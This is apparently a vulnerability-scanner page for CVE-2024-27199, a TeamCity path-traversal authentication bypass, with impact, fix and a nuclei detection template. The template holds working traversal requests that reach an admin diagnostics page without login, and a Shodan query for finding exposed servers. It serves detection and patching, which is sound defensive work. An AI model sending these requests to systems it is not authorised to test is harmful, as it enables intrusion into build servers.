TeamCity < 2023.11.4 - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-04-20; known to be used by ransomware.

highseverity

7.3CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible

Impact

Unauthenticated attackers can perform limited administrative actions on TeamCity servers via path traversal, potentially accessing sensitive build information.

Fix

Update JetBrains TeamCity to version 2023.11.4 or later.

How to confirm it

Send: GET {{BaseURL}}/res/../admin/diagnostic.jsp ; GET {{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp ; GET {{BaseURL}}/update/../admin/diagnostic.jsp
Positive when: status_code == 200 and contains(header, "text/html") and contains_all(body, "Debug Logging", "CPU & Memory Usage")

Run it with nuclei: nuclei -id CVE-2024-27199 -u <target>

The full check

id: CVE-2024-27199

info:
  name: TeamCity < 2023.11.4 - Authentication Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
  impact: |
    Unauthenticated attackers can perform limited administrative actions on TeamCity servers via path traversal, potentially accessing sensitive build information.
  remediation: |
    Update JetBrains TeamCity to version 2023.11.4 or later.
  reference:
    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27199
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cwe-id: CWE-23
    epss-score: 0.99991
    epss-percentile: 0.99985
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"TeamCity"
    product: teamcity
    vendor: jetbrains
  tags: cve,cve2024,teamcity,jetbrains,auth-bypass,vkev,vuln,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/../admin/diagnostic.jsp"
      - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
      - "{{BaseURL}}/update/../admin/diagnostic.jsp"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from